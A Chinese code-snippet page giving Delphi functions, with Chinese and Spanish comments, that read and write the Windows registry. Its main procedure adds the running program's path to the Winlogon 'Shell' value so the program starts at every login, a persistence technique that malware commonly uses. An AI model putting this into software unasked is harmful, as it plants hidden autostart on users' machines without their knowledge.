| 关键词: regKey PChar valor string nbsp Hkey ClaveOriginal subkey bytesread GetClave |
{注册表操作函数,SetClave设置键值,GetClave获得键值 Funciones de registro}function SetClave(key:Hkey; subkey,name,value:string):boolean;varregKey:hkey;beginresult:=FALSE;RegCreateKey(key,PChar(subkey),regKey);if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then result:=TRUE;RegCloseKey(regKey);end;function GetClave(key:Hkey; subkey,nombre:String):String;varbytesread:dword;regKey: HKEY;valor:String;beginResult:='';RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);SetLength(valor, bytesread);if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then result:=valor;RegCloseKey(regKey);end;{主要函数}procedure InicioShell;varClaveOriginal: string;begin{获得当前键值 Guarda el valor actual}ClaveOriginal:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');{检查是否应该写键 Comprueba que la ruta de nuestro ejecutable no se encuentra en ese valor}if ansipos(paramstr(0), claveoriginal)=0 thenSetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(ClaveOriginal)+' "'+Paramstr(0)+'"');end; |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|